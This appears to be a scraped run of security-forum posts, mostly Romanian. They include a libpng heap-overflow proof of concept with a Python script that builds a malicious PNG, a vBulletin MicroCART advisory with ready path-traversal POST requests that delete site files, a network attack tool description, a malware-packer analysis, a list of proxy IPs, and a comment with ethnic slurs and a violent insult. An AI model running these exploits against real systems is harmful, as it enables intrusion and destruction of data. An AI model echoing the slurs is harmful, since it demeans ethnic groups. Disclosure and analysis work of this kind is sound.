Nytro

libpng 1.6.15 heap overflow /********************************* * Alex Eubanks * * endeavor@rainbowsandpwnies.com * * libpng 1.6.15 heap overflow * * 18 December 2014 * *********************************/ /************* * A foreword * *************/ // this bug was found with american fuzzy lop! thanks lcamtuf! /* * We will trigger a call to zlib which will decompress data from an IDAT chunk * into a heap-buffer of 48 bytes. The size of this heap-buffer does not depend * on the amount of data we decompress into it. * * In some cases, like my case (programs are wonderful creations), this may * allow for a controlled write. * * My environment is * user@debian:~$ uname -a * Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.63-2+deb7u2 i686 GNU/Linux * * Example code to trigger this overflow is available at the end of this post. * Simply set OVERFLOW_DATA to what you want to overflow the heap with. */ Program received signal SIGSEGV, Segmentation fault. 0xb7eb4f71 in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb) x/i $pc => 0xb7eb4f71: movdqu %xmm0,(%esi) (gdb) i r esi esi 0x41414141 1094795585 (gdb) i r xmm0 xmm0 {v4_float = {0xc, 0xc, 0xc, 0xc}, v2_double = {0x228282, 0x228282}, v16_int8 = {0x41 <repeats 16 times>}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141}, v4_int32 = {0x41414141, 0x41414141, 0x41414141, 0x41414141}, v2_int64 = {0x4141414141414141, 0x4141414141414141}, uint128 = 0x41414141414141414141414141414141} /*************** * The overflow * ***************/ # pngrutil.c :: png_read_IDAT_data :: line 4018 /* * At the time of this call, * png_ptr->zstream->avail_out = 0x20000000 * png_ptr->zstream->avail_in = size of our compressed IDAT data * png_ptr->zstream->next_in = our compressed IDAT data * png_ptr->zstream->next_out = a pointer to row_buf, 31 bytes in big_row_buf */ ret = inflate(&png_ptr->zstream, Z_NO_FLUSH); /******* * IHDR * *******/ [0-3] = png_ptr->width // 0x20000000 [4-7] = png_ptr->height // 0x00000020 [8] = png_ptr->bit_depth // 0x10 [9] = png_ptr->color_type // 0x06 [10] = png_ptr->compression_type // 0x00 [11] = png_ptr->filter_type // 0x00 [12] = png_ptr->interlace_type // 0x01 /********************* * png_read_IDAT_data * *********************/ # pngrutil.c :: png_read_IDAT_data :: line 3941 void /* PRIVATE */ png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out) / * png_bytep output * \-> a buffer to decompress the IDAT data into * png_alloc_size_t avail_out * \-> The size of output in bytes */ # pngrutil.c :: png_read_IDAT_data :: line 3984 buffer = png_read_buffer(png_ptr, avail_in, 0/*error*/); # pngrutil.c :: png_read_IDAT_data :: line 3989 png_ptr->zstream.next_in = buffer; # pngrutil.c :: png_read_IDAT_data :: line 3946 png_ptr->zstream.next_out = output; # pngrutil.c :: png_read_IDAT_data :: line 4002 png_ptr->zstream.avail_out = out; pngrutil.c :: png_read_IDAT_data :: line 4018 ret = inflate(&png_ptr->zstream, Z_NO_FLUSH); /********************************* * The call to png_read_IDAT_data * *********************************/ # pngread.c :: png_read_row :: line 534 png_read_IDAT_data(png_ptr, png_ptr->row_buf, row_info.rowbytes + 1); # pngrutil.c :: png_read_IDAT_data :: line 3941 void /* PRIVATE */ png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out) /***************************** * deriving row_info.rowbytes * *****************************/ # pngread.c :: png_read_row :: line 397 row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width); /************************************ * deriving row_info.rowbytes * * \-> deriving row_info.pixel_depth * ************************************/ # pngread.c :: png_read_row :: line 396 row_info.pixel_depth = png_ptr->pixel_depth; // row_info.pixel_depth is set in png_handle_IHDR # pngrutil.c :: png_handle_IHDR :: line 855 png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth * png_ptr->channels); // where png_ptr->bit_depth = IHDR[8], or 0x10 // channels is set by the following logic based off // IHDR->color_type, or 0x6 if (color_type == PNG_COLOR_TYPE_RGB) // 2 png_ptr->channels = 3 else if (color_type == PNG_COLOR_TYPE_GRAY_ALPHA) // 4 png_ptr->channels = 2 else if (color_type == PNG_COLOR_TYPE_RGB_ALPHA) // 6 png_ptr->channels = 4 else png_ptr->channels = 1 // row_info.pixel_depth = 0x10 * 4 /************************************ * deriving row_info.rowbytes * * \-> deriving row_info.width * ************************************/ # pngread.c :: png_read_row :: line 392 row_info.width = png_ptr->iwidth; /* NOTE: width of current interlaced row */ // png_ptr->iwidth is set in png_read_start_row // cliff notes here are, during the first interlace pass, width will be // divided by 8, so 0x20000000 becomes 0x4000000 // actual computation is ((0x20000000 + 8 - 1 - 0) / 8) # pngrutil.c :: png_read_start_row :: line 4217 png_ptr->iwidth = (png_ptr->width + // png_ptr->width = 0x20000000 png_pass_inc[png_ptr->pass] - 1 - png_pass_start[png_ptr->pass]) / png_pass_inc[png_ptr->pass]; // png_ptr->iwidth = 0x4000000 // back to our original call for row_info.rowbytes # pngread.c :: png_read_row :: line 397 row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width); # pngpriv.h :: line 659 /* Added to libpng-1.2.6 JB */ #define PNG_ROWBYTES(pixel_bits, width) \ ((pixel_bits) >= 8 ? \ ((png_size_t)(width) * (((png_size_t)(pixel_bits)) >> 3)) : \ (( ((png_size_t)(width) * ((png_size_t)(pixel_bits))) + 7) >> 3) ) // row_info.rowbytes = 0x4000000 * ((64) >> 3) = 0x20000000 // row_info.rowbytes = 0x20000000 /**************************** * deriving png_ptr->row_buf * ****************************/ # pngstruct.h :: line 225 // inside struct png_struct_def, which is png_ptr png_bytep row_buf; /* buffer to save current (unfiltered) row. * This is a pointer into big_row_buf */ # pngrutil.c :: png_read_start_row :: line 4403 png_ptr->big_row_buf = (png_bytep)png_malloc(png_ptr, row_bytes + 48); // there are a couple #ifdef cases for png_ptr->row_buf to be set from, // but this summarizes nicely # pngrutil.c :: png_read_start_row :: line 4427 png_ptr->row_buf = png_ptr->big_row_buf + 31; /**************************** * deriving png_ptr->row_buf * * \-> deriving row_bytes * ****************************/ # pngrutil :: png_read_start_row :: line 4427 row_bytes = ((png_ptr->width + 7) & ~((png_uint_32)7)); /* Calculate the maximum bytes needed, adding a byte and a pixel * for safety's sake */ row_bytes = PNG_ROWBYTES(max_pixel_depth, row_bytes) + 1 + ((max_pixel_depth + 7) >> 3); // cliff notes, based on our IHDR color_type being // PNG_COLOR_TYPE_RGB_ALPHA, max_pixel_depth = 64 row_bytes = 0x20000000 * (64 >> 3) = 0; // this makes the size of the malloc call to png_malloc 48, which means // malloc doesn't fail, returns valid pointer into the heap // png_ptr->big_row_buf = png_malloc(png_ptr, 48) ################## # HAPPY FUN CODE # ################## import zlib import struct import sys OVERFLOW_DATA = 'A' * 4096 IDAT_DATA = zlib.compress(OVERFLOW_DATA) IDAT_SIZE = struct.pack('>i', len(IDAT_DATA)) IDAT_CRC32 = struct.pack('>i', zlib.crc32('IDAT' + IDAT_DATA)) HEADER = '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a' IHDR = '\x00\x00\x00\x0d\x49\x48\x44\x52\x20\x00\x00\x00\x00\x00\x00\x20\x10\x06\x00\x00\x01\xa8\xce\xde\x04' IDAT = IDAT_SIZE + 'IDAT' + IDAT_DATA + IDAT_CRC32 IEND = '\x00\x00\x00\x00\x49\x45\x4e\x44' sys.stdout.write(HEADER + IHDR + IDAT + IEND) Sursa: http://tfpwn.com/files/libpng_heap_overflow_1.6.15.txt

[h=3]Analysis of a JAR Obfuscated Malware Packer[/h] by Ruhai Zhang | December 01, 2014 | Category: Security Research Normal Java JAR or class format samples can be easily analyzed with Java decompiler tools, such as JAD and JD-GUI. Not so with those obfuscated ones, where decompiling results may be empty or not clear. When this happens, we need to then analyze the JVM (Java Virtual Machine) p-code. Nowadays, more and more Java malware use anti-decompiling techniques to increase the difficulty of analysis. In this blog post, we will analyze a new JAR obfuscated packer that is being used by Java malware, using a sample that we detect as Java/Obfus.CI!tr as an example. [h=3]Decompiling the JAR Malware Sample[/h] This JAR sample has the following layout: Figure 1. JAR sample layout The main class defined in MANIFEST.MF is stub.EcryptedWrapper; the file stub.dll contains encrypted or compressed data. Using JD-GUI to decompile this sample, we can only see empty classes. Using JAD, we can get the result, but most of the classes are in JVM p-code. In the decompiled results from JAD, there are a large number of System.out.println() junk codes. After removing all of them, the flow is a little bit clearer. Many strings are still encrypted, but we can then locate and analyze the decrypting methods. EncryptedLoader.ALLATORIxDEMOxpalksksdqwdqbgnhmtyter("") EncryptedLoaderOld.ALLATORIxDEMOxpalksksdqwdqbgnhmtyter("") These two methods have the same algorithm (shown in Figure 2) but just use different parameters. Figure 2. String decoder loop. [h=3]Decrypting the String[/h] Based on the algorithm in Figure 2, we can use the following Python function to decrypt the strings: def decoder(enc_str, key_str, key1, key2): klen = len(key_str) kidx = klen - 1 elen = len(enc_str) eidx = elen - 1 olist = [''] * elen while eidx >= 0: olist[eidx] = chr(ord(key_str[kidx]) ^ ord(enc_str[eidx]) ^ key1) eidx -= 1 if eidx >= 0: olist[eidx] = chr(ord(key_str[kidx]) ^ ord(enc_str[eidx]) ^ key2) eidx -= 1 kidx -= 1 if kidx < 0: kidx = klen - 1 return ''.join(olist) The three parameters key_str, key1, and key2 are as follows: EncryptedLoader: <class_name>+<method_name>, 0x52, 0x5A EncryptedLoaderOld: <method_name>+<class_name>, 0x2F, 0x55 After replacing all the encrypted strings, the flow is quite clear. The following is a simplified flow of the main class EcryptedWrapper. public class EcryptedWrapper implements Runnable { private EncryptedLoaderOld loader_old; public void run() { Class cls = loader_old.loadClass('Start'); cls.getMethod('main').invoke(); } public EcryptedWrapper() { EncryptedLoader loader = new EncryptedLoader(); loader.load(); //load and decrypt stub.dll loader_old = new EncryptedLoaderOld(loader.getClasses(), loader.getResources()); } public static void main(String args[]) { EcryptedWrapper wrapper = new EcryptedWrapper(); (new Thread(wrapper)).start(); } } [h=3]Decrypting stub.dll[/h] Based on the decompiling result of EncryptedLoader.class, the file stub.dll can be decrypted with the following Python function: from Crypto.Cipher import AES def decrypt_jar(fname): fp_in = open(fname, 'rb') fp_out = open(fname+'_', 'wb') key = '0B4wCrd5N2OxG93h' cipher = AES.new(key) fp_out.write(cipher.decrypt(fp_in.read())) fp_in.close() fp_out.close() The decrypted result is a friendly JAR file which can be decompiled by JD-GUI. Its main class in MANIFEST.MF is Start, as shown in the run() method of EcryptedWrapper. Our initial analysis shows that it is a multiplatform RAT. [h=3]Conclusion[/h] As we have seen, Java malware have continued to evolve in order to make analysis more difficult by adding an obfuscation packer. We have already added detection for several Java malware that use this kind packer and will continue to keep our eyes open for new techniques that may emerge in the days ahead. by Ruhai Zhang | December 01, 2014 Sursa: Analysis of a JAR Obfuscated Malware Packer | Fortinet Blog

In mare e ok, DAR eu am avut probleme cu Camera si din aceasta cauza l-am abandonat. Mai exact, daca tii apasat sa faci poza (asteptand sa se puna focusul) se blocheaza si apoi nu mai poti face poza. Mai era dubios ca nu am gasit un meniu accesibil de unde sa pun telefonul pe Silent iar "Alarm clock" l-am descoperit din greseala dupa o saptamana E interesant, alt design + aplicatii de la dezvoltatori care iti permit sa dai Deny cand o aplicatie cere drepturi de Location de exemplu. Nota: Din cauza problemelor cu Camera m-am intors la 4.4.2, dar merita "descoperit" Lollipop asta. Daca aveti timp puteti sa va jucati cu el.

Lydecker Black on 7:44 PM Zarp is a network attack tool centered around the exploitation of local networks. This does not include system exploitation, but rather abusing networking protocols and stacks to take over, infiltrate, and knock out. Sessions can be managed to quickly poison and sniff multiple systems at once, dumping sensitive information automatically or to the attacker directly. Various sniffers are included to automatically parse usernames and passwords from various protocols, as well as view HTTP traffic and more. DoS attacks are included to knock out various systems and applications. These tools open up the possibility for very complex attack scenarios on live networks quickly, cleanly, and quietly. The long-term goal of zarp is to become the master command center of a network; to provide a modular, well-defined framework that provides a powerful overview and in-depth analysis of an entire network. This will come to light with the future inclusion of a web application front-end, which acts as the television screen, whereas the CLI interface will be the remote. This will provide network topology reports, host relationships, and more. zarp aims to be your window into the potential exploitability of a network and its hosts, not an exploitation platform itself; it is the manipulation of relationships and trust felt within local intranets. Look for zeb, the web-app frontend to zarp, sometime in the future. Tool Overview Broad categories are (see wiki for more information on these): Poisoners Denial of Service Sniffers Scanners Services Parameter Attacks List of modules accessible from the command line: bryan@debdev:~/tools/zarp$ sudo ./zarp.py --help [!] Loaded 34 modules. ____ __ ____ ____ (__ ) / _\ ( _ \( _ ' / _/ / \ ) / ) __/ (____)\_/\_/(__\_)(__) [Version: 0.1.5] usage: zarp.py [-h] [-q FILTER] [--update] [--wap] [--ftp] [--http] [--smb] [--ssh] [--telnet] [-w] [-s] [--service-scan] optional arguments: -h, --help show this help message and exit -q FILTER Generic network sniff --update Update Zarp Services: --wap Wireless access point --ftp FTP server --http HTTP Server --smb SMB Service --ssh SSH Server --telnet Telnet server Scanners: -w Wireless AP Scan -s Network scanner --service-scan Service scanner bryan@debdev:~/tools/zarp$ Download Zarp Sursa: Zarp - Local Network Attack Framework | KitPloit - PenTest Tools for your Security Arsenal!

[h=2]How to install Android 5.0.1 Lollipop on Samsung Galaxy S4[/h]Ionut Popescu With the new release of Android 5.0.1 Lollipop, we wanted to explore its new features and security enhancements. However, since this version of Android is officially limited to Nexus phones, we had to install it on a device that we own – Samsung Galaxy S4. This is a step by step tutorial on how to install Android 5.0.1 on Samsung Galaxy S4 (including rooting instructions). [h=2]You must have:[/h] a Samsung Galaxy S4 (with enough battery) a microSD card (at least 1 GB if you don’t backup data to microSD) a microUSB cable [h=2]Disclaimer:[/h] We are not responsible for any bricked device which may come up after these instructions We are not responsible for any bugs in Android 5.0.1 (GPS, alarm clock…) We are not responsible for losing your data (backup your data first) Articol complet: How to install Android 5.0.1 Lollipop on Samsung Galaxy S4 – Security Café

Nu e bug: https://rstforums.com/forum/members/nytro/ Ca face redirect pentru alt link e altceva. Apare pe undeva acel link?

E scrisa de un indian - e un jeg. DAR pentru incepatori e foarte buna. Contine multe informatii de baza utile. Bine, cica sa folosesti "Andry IP scanner"... Sa scrii asta intr-o carte de "hacking"... Sa ii dea cineva cu lopata in cap tiganului care a scris-o, mai ales ca in mod normal vrea bani pentru porcaria asta. Nota: Nu ii suport pe indieni si parerea mea "poate" fi subiectiva.

Nu IL in assembly. IL in bytecode de IL. IL opcodes. Interpretorul de MSIL nu are de-a face cu ASM (-ul clasic). El citeste opcode-urile de MSIL Adica: call void [mscorlib]System.Console::Write (string) Poate sa fie 0xFF 0x11223344 unde 0xFF == call si 0x11223344 sa fie adresa functiei. Cautai putin dar nu gasii documentatie legata de asa ceva. Dar probabil sunt tool-uri care te ajuta, MSIL decompiler, .NET reflector, de genul acesta. Nu stiu pentru ca nu le-am incercat dar verifica daca au optiune sa iti arate bytecode. Edit: Write MSIL Code on the Fly with the .NET Framework Profiling API Edit: CLR Injection: Runtime Method Replacer - CodeProject

E nasol cu template hook-urile. Am incercat sa il mut, dar nu mai e generat continutul. Nu am timp sa ma uit sa vad care e problema. Cu Copy/Paste la HTML merge, dar cand copiez codul din template care le genereaza... Nu le mai genereaza. Nu stiu exact de ce, banuiesc ca vrea si el anumite clase si ID-uri si nu pot sa le pastrez, deocamdata. Cand mai am timp o sa ma mai uit.

[h=1]vBulletin MicroCART 1.1.4 - Arbitrary File(s) Deletion, SQL Injection & XSS[/h] # Exploit Title: vBulletin MicroCART 1.1.4 - Arbitrary File(s) Deletion, SQL Injection & XSS # Date: January 8, 2015 # Exploit Author: Technidev (https://technidev.com) # Vendor Homepage: https://vbulletin.com # Software Link: http://www.vbulletin.org/forum/showthread.php?t=256723 # Version: 1.1.4 This plugin is fairly old but still used by a lot of people and received its last update nearly 4 years ago. It’s vulnerable to arbitrary file deletion and SQL injection. *Arbitrary File(s) Deletion* In /microcart/editor/assetmanager/ are a bunch of files which are probably used to manage files/folders for the administrator, unfortunately no authentication and checks were added to see if the user should have access to it and if the request doesn’t contain anything malicious. The /microcart/editor/assetmanager/folderdel_.php file contains the following on top: $sMsg = ""; if(isset($_POST["inpCurrFolder"])) { $sDestination = pathinfo($_POST["inpCurrFolder"]); //DELETE ALL FILES IF FOLDER NOT EMPTY $dir = $_POST["inpCurrFolder"]; $handle = opendir($dir); while($file = readdir($handle)) if($file != "." && $file != "..") unlink($dir . "/" . $file); closedir($handle); if(rmdir($_POST["inpCurrFolder"])==0) $sMsg = ""; else $sMsg = "<script>document.write(getTxt('Folder deleted.'))</script>"; } By simply sending a POST request to this file, we can delete every single file in specified folder. POST to: /microcart/editor/assetmanager/folderdel_.php POST data: inpCurrFolder: ../../../ This POST request will delete every single .php file in the root folder of vBulletin. *Arbitrary File Deletion* There’s another vulnerability which resides in the /microcart/editor/assetmanager/assetmanager.php file. It contains an upload function, which is safe, and a file deletion function, which is not safe. We can delete any file off the server by abusing this. So unlike the previous vulnerability I just wrote which deletes all files by sending a POST request with a folder value, this will only delete 1 file off the server. Vulnerable code: if(isset($_POST["inpFileToDelete"])) { $filename=pathinfo($_POST["inpFileToDelete"]); $filename=$filename['basename']; if($filename!="") unlink($currFolder . "/" . $filename); $sMsg = ""; } Exploited by sending the following request: POST to: /microcart/editor/assetmanager/assetmanager.php POST data: inpCurrFolder: ../../../ inpFileToDelete: index.php This will delete the /index.php file of vBulletin, in the root. *Aribtrary Folder Creation* Besides the file deletion, there’s a file called /microcart/editor/assetmanager/foldernew.php which created a 0755 chmodded folder on the server. The file contains the following on top: $sMsg = ""; if(isset($_POST["inpNewFolderName"])) { $sFolder = $_POST["inpCurrFolder"]."/".$_POST["inpNewFolderName"]; if(is_dir($sFolder)==1) {//folder already exist $sMsg = "<script>document.write(getTxt('Folder already exists.'))</script>"; } else { //if(mkdir($sFolder)) if(mkdir($sFolder,0755)) $sMsg = "<script>document.write(getTxt('Folder created.'))</script>"; else $sMsg = "<script>document.write(getTxt('Invalid input.'))</script>"; } } By sending the following POST request, we will create a folder with 0755 chmodded permission. POST to: /microcart/editor/assetmanager/foldernew.php POST data: inpNewFolderName: davewashere inpCurrFolder: ../../.. This POST request will create the folder davewashere in the root of the vBulletin forum. *SQL Injection* MicroCART is also vulnerable to SQL injection at several locations although most of them are rather hard to abuse. I will not explain how to exploit it, but the vulnerability can be found at /cart.php line 833 to 881 and the function where you can add products to your shopping cart, at around line 1251 to 1328 where $_POST[‘fields’] is assigned to the configuration variable which is later used in a query. *Cross Site Scripting* When modifying your information at /cart.php?do=cpanel, you can inject anything you want into the fields. Viewing reviews of products may be vulnerable as well when you leave out the wysiwyg POST key. Sursa: vBulletin MicroCART 1.1.4 - Arbitrary File(s) Deletion, SQL Injection & XSS

1. MSIL disassembly 2. Vezi bytecode pentru invoke 3. Pune un jmp din MSIL (banuiesc ca exista un echivalent) 4. Functia ta sa preia argumentele (stack?) 5. Restore original bytes (ca la hook obisnuit) 6. Restaurezi bytes In fine, sa faci echivalentul unui hook din C++. Sfaturi: 1. Invata MSIL 2. Invata bytecode MSIL

Asta: Moles - Isolation framework for .NET - Microsoft Research ? Poate te ajuta: - MethodLogger - Hook into method calls in .NET binaries - CodeProject - PostSharp – We Make .NET Languages Stronger - Smart Unit Testing - Made easy with Typemock - .NET CLR Injection: Modify IL Code during Run-time - CodeProject Note: Nu am citit prea multe despre ele dar mi se pare un subiect interesant si o sa aflu mai multe zilele astea.

Am resetat (adica sters) toate like-urile si dislike-urile. In plus, acum nu mai conteaza deloc un Like si un Dislike la reputatie. Adica puteti sa dati cate Like-uri si Dislike-uri vreti, nu o sa incante pe nimeni. Daca exagerati cu Dislike-urile, o sa pun sa nu mai fie afisate. Have fun.

Nu incape grasu' pe 100Mb Ia: Switch Cisco Systems, SG100D-08-EU, 8-Port Gigabit - eMAG.ro

Sunt selectate automat si probabil random de catre plugin.

Daca ai antivirus, e posibil sa fie de la self defence-ul sau.

Ce e ala "hidden pid"? Te referi la rootkit-uri?

Nu. Dar anumite persoane au facut boti pentru Like/Dislike. Aceste Like-uri si Dislike-uri la gramada afecteaza reputatia.

Terrorists Made Their Emails Seem Like Spam to Hide From Intelligence Agencies By Lily Hay Newman Maybe there's something meaningful hidden in my spam folder. Image from Gmail During David Petraeus and Paula Broadwell's affair, the two would communicate by leaving notes in the drafts folder of a private Gmail account. As a covert communication method it didn't really, um, work. But points for effort! There are other ways to hide (or at least try to hide) emails in plain sight, too. And a recent paper recounts one method the Taliban tried shortly after the 9/11 attacks. First spotted by Quartz, cryptologist and former NSA officer Michael Wertheimer's paper "Encryption and the NSA Role in International Standards" includes an anecdote about how the NSA wised up to a strategy of turning real emails into spam. By writing messages with spam-like subject lines, combatants were attempting to exploit surveillance filters so that instead of being combed, the messages would be sorted into the spam folder abyss. Wertheimer explains that during operations in Afghanistan, the U.S. was able to analyze some laptops formerly owned by Taliban members. He says: In one case we were able to retrieve an email listing in the customary to/from/subject/date format. There was only one English language email listed. The “to” and “from” addresses were nondescript (later confirmed to be combatants) and the subject line read: CONSOLIDATE YOUR DEBT. From a surveillance perspective, Wertheimer writes that this highlights the importance of filtering algorithms. Implementing them makes parsing huge amounts of data easier, but it also presents opportunities for someone with a secret to figure out what type of information is being tossed out and exploit the loophole. The new trend in affair protocol could be sending love notes with subject line "Pain-free penis enlargement!" Future Tense is a partnership of Slate, New America, and Arizona State University. Sursa: http://www.slate.com/blogs/future_tense/2015/01/15/after_9_11_laptops_showed_that_taliban_members_had_hidden_messages_in_spam.html

Hopefully the last post I'll ever write on Dual EC DRBG I've been working on some other blog posts, including a conclusion of (or at least an installment in) this exciting series on zero knowledge proofs. That's coming soon, but first I wanted to take a minute to, well, rant. The subject of my rant is this fascinating letter authored by NSA cryptologist Michael Wertheimer in February's Notices of the American Mathematical Society. Dr. Wertheimer is currently the Director of Research at NSA, and formerly held the position of Assistant Deputy Director and CTO of the Office of the Director of National Intelligence for Analysis. In other words, this is a guy who should know what he's talking about. The subject of Dr. Wertheimer's letter is near and dear to my heart: the alleged subversion of NIST's standards for random number generation -- a subversion that was long suspected and apparently confirmed by classified documents leaked by Edward Snowden. The specific algorithm in question is called Dual EC DRBG, and it very likely contains an NSA backdoor. Those who've read this blog should know that I think it's as suspicious as a three dollar bill. Reading Dr. Wertheimer's letter, you might wonder what I'm so upset about. On the face of it, the letter appears to express regret. To quote (with my emphasis): With hindsight, NSA should have ceased supporting the Dual_EC_DRBG algorithm immediately after security researchers discovered the potential for a trapdoor. In truth, I can think of no better way to describe our failure to drop support for the Dual_EC_DRBG algorithm as anything other than regrettable. The costs to the Defense Department to deploy a new algorithm were not an adequate reason to sustain our support for a questionable algorithm. Indeed, we support NIST’s April 2014 decision to remove the algorithm. Furthermore, we realize that our advocacy for the Dual_EC_DRBG casts suspicion on the broader body of work NSA has done to promote secure standards. I agree with all that. The trouble is that on closer examination, the letter doesn't express regret for the inclusion of Dual EC DRBG in national standards. The transgression Dr. Wertheimer identifies is merely that NSA continued to support the algorithm after major questions were raised. That's bizarre. Even worse, Dr. Wertheimer reserves a substantial section of his letter for a defense of the decision to deploy Dual EC. It's those points that I'd like to address in this post. Let's take them one at a time. 1: The Dual_EC_DRBG was one of four random number generators in the NIST standard; it is neither required nor the default. It's absolutely true that Dual EC was only one of four generators in the NIST standard. It was not required for implementers to use it, and in fact they'd be nuts to use it -- given that overall it's at least two orders of magnitude slower than the other proposed generators. The bizarre thing is that people did indeed adopt Dual EC in major commercial software packages. Specifically, RSA Security included it as the default generator in their popular BSAFE software library. Much worse, there's evidence that RSA was asked to do this by NSA, and were compensated for their compliance. This is the danger with standards. Once NIST puts its seal on an algorithm, it's considered "safe". If the NSA came to a company and asked it to use some strange, non-standard algorithm, the request would be considered deeply suspicious by company and customers alike. But how can you refuse to use a standard if your biggest client asks you to? Apparently RSA couldn't. 2: The NSA-generated elliptic curve points were necessary for accreditation of the Dual_EC_DRBG but only had to be implemented for actual use in certain DoD applications. This is a somewhat misleading statement, one that really needs to be unpacked. First, the original NSA proposal of Dual EC DRBG contained no option for alternate curve points. This is an important point, since its the selection of curve points that give Dual EC its potential for a "back door". By generating two default points (P, Q) in a specific way, the NSA may have been able to create a master key that would allow them to very efficiently decrypt SSL/TLS connections. If you like conspiracy theories, here's what NIST's John Kelsey was told when he asked how the NSA's points were generated: In 2004-2005, several participants on the ANSI X9 tools committee pointed out the potential danger of this backdoor. One of them even went so far as to file a patent on using the idea to implement key escrow for SSL/TLS connections. (It doesn't get more passive aggressive than that.) In response to the discovery of such an obvious flaw, the ANSI X9 committee immediately stopped recommending the NSA's points -- and relegated them to be simply an option, one to be used by the niche set of government users who required them. I'm only kidding! Actually the committee did no such thing. Instead, at the NSA's urging, the ANSI committee retained the original NSA points as the recommended parameters for the standard. It then added an optional procedure for generating alternative points. When NIST later adopted the generator in its SP800-90A standard, it mirrored the ANSI decision. But even worse, NIST didn't even bother to publish the alternative point generation algorithm. To actually implement it, you'd need to go buy the (expensive) non-public-domain ANSI standard and figure it out to implement it yourself: This is, to paraphrase Douglas Adams, the standards committee equivalent of putting the details in the bottom of a locked filing cabinet stuck in a disused lavatory with a sign on the door saying 'Beware of the Leopard'. To the best of our knowledge, nobody has ever used ANSI's alternative generation procedure in a single one of the many implementations of Dual EC DRBG in commercial software. It's not even clear how you could have used that procedure in a FIPS-certified product, since the FIPS evaluation process (conducted by CMVP) still requires you to test against the NSA-generated points. 3. The trapdoor concerns were openly studied by ANSI X9F1, NIST, and by the public in 2007. This statement has the benefit of being literally true, while also being pretty damned misleading. It is true that in 2007 -- after Dual EC had been standardized -- two Microsoft researchers, Dan Shumow and Neils Ferguson openly raised the alarm about Dual EC. The problem here is that the flaws in Dual EC were not first discovered in 2007. They were discovered much earlier in the standardization process and nobody ever heard about them. As I noted above, the ANSI X9 committee detected the flaws in Dual EC as early as 2004, and in close consultation with NSA agreed to address them -- in a manner that was highly beneficial to the NSA. But perhaps that's understandable, given that the committee was anything but 'open'. In fact, this is an important aspect of the controversy that even NIST has criticized. The standardization of these algorithms was conducted through ANSI. And the closed ANSI committee consisted of representatives from a few select companies, NIST and the NSA. No public notice was given of the potential vulnerabilities discovered in the RNG. Moreover, a patent application that might have shone light on the backdoor was mired in NSA pre-publication review for over two years. This timeline issue might seem academic, but bear this in mind: we now know that RSA Security began using the Dual EC DRBG random number generator in BSAFE -- as the default, I remind you -- way back in 2004. That means for three years this generator was widely deployed, yet serious concerns were not communicated to the public. To state that the trapdoor concerns were 'openly' studied in 2007 is absolutely true. It's just completely irrelevant. In conclusion I'm not a mathematician, but like anyone who works in a mathematical area, I find there are aspects of the discipline that I love. For me it's the precision of mathematical statements, and the fact that the truth or falsity of a statement can -- ideally -- be evaluated from the statement itself, without resorting to differing opinions or understandings of the context. While Dr. Wertheimer's letter is hardly a mathematical work, it troubles me to see such confusing statements in a publication of the AMS. As a record of history, Dr. Wertheimer's letter leaves much to be desired, and could easily lead people to the wrong understanding. Given the stakes, we deserve a more exact accounting of what happened with Dual EC DRBG. I hope someday we'll see that. Posted by Matthew Green at 2:02 PM Sursa: http://blog.cryptographyengineering.com/2015/01/hopefully-last-post-ill-ever-write-on.html

[h=1]16-01-15 | VIP Socks 5 (37)[/h] 16-01-15 | VIP Socks 5 (37) Checked & filtered 108.61.199.192:52159 109.214.194.248:40557 120.149.52.133:46698 144.76.4.211:11486 147.156.208.150:8020 170.163.116.108:80 173.176.202.55:39559 174.7.63.126:41263 180.153.139.246:8888 184.155.230.151:44911 198.27.67.24:53193 199.36.221.3:51328 205.237.251.209:13884 206.188.209.38:8080 206.206.85.37:28672 207.66.105.37:11944 209.33.80.159:46768 221.132.35.5:2214 46.4.88.203:9050 58.160.148.1:54931 61.147.67.2:9125 61.15.158.32:57809 63.141.227.91:7504 67.187.241.140:22465 67.232.19.137:51816 70.173.38.183:19102 72.133.32.186:24412 73.29.157.190:24521 74.100.219.155:40866 76.190.129.189:37506 76.8.6.186:29803 77.120.246.195:48059 77.242.22.254:8741 84.38.227.212:2235 84.40.9.22:50027 92.247.235.170:40325 97.101.240.83:21729 Sursa: 16-01-15 | VIP Socks 5 (37) - Pastebin.com

Anunt: Cine isi mai bate joc de Like-uri si Dislike-uri sau foloseste boti pentru asa ceva are ban.

Posted January 13th, 2015 by gk A new release for the stable Tor Browser is available from the Tor Browser Project page and also from our distribution directory. Tor Browser 4.0.3 is based on Firefox ESR 31.4.0, which features important security updates to Firefox. Additionally, it contains updates to meek, NoScript and Tor Launcher. Here is the changelog since 4.0.2: All Platforms Update Firefox to 31.4.0esr Update NoScript to 2.6.9.10 Update meek to 0.15 Update Tor Launcher to 0.2.7.0.2 Translation updates only Sursa: https://blog.torproject.org/blog/tor-browser-403-released

[h=2]Awesome Penetration Testing[/h] A collection of awesome penetration testing resources, tools, books, confs, magazines and other shiny things Online Resources Penetration Testing Resources Shell Scripting Resources Linux Resources Shellcode development Social Engineering Resources Lock Picking Resources [*] Tools Penetration Testing Distributions Basic Penetration Testing Tools Vulnerability Scanners Network Tools Hex Editors Crackers Windows Utils DDoS Tools Social Engineering Tools Anonimity Tools Reverse Engineering Tools [*] Books Penetration Testing Books Hackers Handbook Series Network Analysis Books Reverse Engineering Books Malware Analysis Books Windows Books Social Engineering Books Lock Picking Books [*]Vulnerability Databases [*]Security Courses [*]Information Security Conferences [*]Information Security Magazines [*]Awesome Lists [*]Contribution [*]License [h=3][/h][h=3]Online Resources[/h] [h=4]Penetration Testing Resources[/h] Metasploit Unleashed - Free Offensive Security metasploit course PTES - Penetration Testing Execution Standard OWASP - Open Web Application Security Project OSSTMM - Open Source Security Testing Methodology Manual [h=4]Shell Scripting Resources[/h] LSST - Linux Shell Scripting Tutorial [h=4]Linux resources[/h] Kernelnewbies - A community of aspiring Linux kernel developers who work to improve their Kernels [h=4][/h][h=4]Shellcode development[/h] Shellcode Tutorials - Tutorials on how to write shellcode Shellcode examples - 